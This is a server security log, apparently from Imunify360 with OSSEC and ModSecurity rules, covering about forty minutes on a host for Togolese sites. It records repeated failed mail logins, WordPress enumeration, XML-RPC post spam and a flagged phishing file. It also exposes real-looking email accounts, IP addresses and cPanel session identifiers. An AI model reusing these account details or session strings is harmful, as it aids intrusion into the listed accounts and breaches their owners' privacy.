IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:52:48 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:15104: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.174
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:53:50 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:5248: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:54:52 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.229
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.231
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.236
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:56:07 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.230
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.237
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.24
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.243
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:55:53 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18660: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.226
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.239
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:56:52 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18675: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.217.135
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:38.154.217.135||TA:38.154.217.135||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.248
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.231.71
country_id: 2363686
description:
[2026-06-12 09:57:53 +0000] info [webmaild] 196.170.231.71 - agencekpalime@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:57:55 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18625: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:58:55 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18552: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:00:06 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.201.58
country_id: 2363686
description:
[2026-06-12 09:59:47 +0000] info [webmaild] 196.168.201.58 - wiyao.g@inger.tg "POST /cpsess8647324718/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.125.153] != Current IP Address [196.168.201.58]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:59:57 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18599: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:00:56 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4109: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:01:58 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.83.148.205
country_id: 3017382
description:
212.83.148.205 - - [12/Jun/2026:10:01:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130541&pdata=http%253A%252F%252Ftensai.tg%252Fwp-admin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781258492 HTTP/1.1" 302 0 tensai.tg "http://tensai.tg/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.83.148.205


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:02:59 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4115: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:04:10 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:51988: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-12 10:04:52 +0000] info [webmaild] 154.70.80.74 - koudjramey.akua@cloud-et-racks.tg "GET /cpsess1647434989/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:05:06 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:56045: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.91.184.137
country_id: 2750405
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:06:12 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:59371: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:07:01 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4121: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.175.39.43
country_id: 3017382
description:
91.175.39.43 - - [12/Jun/2026:10:06:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790043&pdata=https%253A%252F%252Ftogodailynews.tg%252Fvisite-du-chef-de-letat-au-kazakhstan-partage-dexperiences-entre-lome-et-astana-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781258816 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/visite-du-chef-de-letat-au-kazakhstan-partage-dexperiences-entre-lome-et-astana-2/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7240.1955 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.175.39.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:08:03 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4122: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.120.164
country_id: 1880251
description:
47.128.120.164 - - [12/Jun/2026:10:08:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816681&pdata=https%253A%252F%252Fbelali.tg%252F16-ways-to-stop-drinking-alcohol%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781258894 HTTP/2.0" 302 0 belali.tg "https://belali.tg/16-ways-to-stop-drinking-alcohol/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.120.164


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:08:32 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4124: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 12 10:09:45 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:10:05 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4126: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:09:44 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:11:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4127: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 10:10:50 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50814: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:12:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4131: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.169.13.58
country_id: 2363686
description:
[2026-06-12 10:13:04 +0000] info [cpaneld] 196.169.13.58 NEW prbthzuj:DPm4HXZOlmSnJqna address=196.169.13.58,app=cpaneld,creator=prbthzuj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@case-afrique.tg [06/12/2026:10:13:26 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@case-afrique.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:15:11 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.180.222.52
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/95.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:15:21 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4134: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:15:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:16:57 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [12/Jun/2026:10:16:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13290644&pdata=https%253A%252F%252Fmatwtogo.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781259399 HTTP/2.0" 302 0 matwtogo.org "https://matwtogo.org/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:17:28 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4136: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [12/Jun/2026:10:19:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932322&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-voici-la-liste-complete-des-ministres-entrants-et-les-sortants-dans-le-nouveau-gouvernement-de-victoire-tomegah-dogbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781259549 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-voici-la-liste-complete-des-ministres-entrants-et-les-sortants-dans-le-nouveau-gouvernement-de-victoire-tomegah-dogbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:18:30 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4137: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:19:30 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4138: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:20:43 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:54765: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-12 10:20:44 +0000] info [cpaneld] 5.230.133.177 NEW mgvybwur:9SJLNQRKhn6iC4KV address=5.230.133.177,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.140
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.043168834135904.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:20:40 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4139: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:21:43 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4140: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:21:39 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:63818: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:22:39 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:53602: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:22:42 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4145: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:23:45 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:58398: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:23:43 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4146: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:24:56 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:58808: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.158.107.185
country_id: 2750405
domain: autodiscover.api.free.netmaster.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/autodiscover/autodiscover.xml/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0a88412874af73c37272ec4405947bde0cf4cc65||Title:thqykvrsy3r0m2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:25:26 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:58812: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e678369d2b19352903ea104d0a89af168cd96b49||Title:u9a0uclbksdpz6sh8||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f76ea601841975a69a33dc73db3269baf01a343||Title:kfff5lf50qgzpen2qn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:27:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [12/Jun/2026:10:27:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.23
country_id: 6252001
description:
205.169.39.23 - - [12/Jun/2026:10:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.23


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [12/Jun/2026:10:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/2.0" 404 561 direct7.tg "https://bing.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:636cf0f85b27a203c062a6a9ee0779a12cf4a3bd||Title:gkr5zotvnhr4eu||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:10:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/2.0" 404 561 direct7.tg "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:73e6c3fc185e6fc8c9a02ebe27fa926dbbc2f613||Title:slwzwdfc9mrata||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:30:13 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd8f5c941c9b60d6477faab74417bc39bb35aa26||Title:iupqwz9az64sgbagma||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4bee7539ed744198399b7e971767f8eb4931ae08||Title:nvi6477yl1gkp77k0r||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [12/Jun/2026:10:30:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21664900 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:10:31:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21664900 HTTP/2.0" 404 561 direct7.tg "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:30:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.168.113.224
country_id: 2363686
description:
2026-06-12 10:30:29 dovecot_login authenticator failed for H=(Yoga) [196.168.113.224]:53746: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
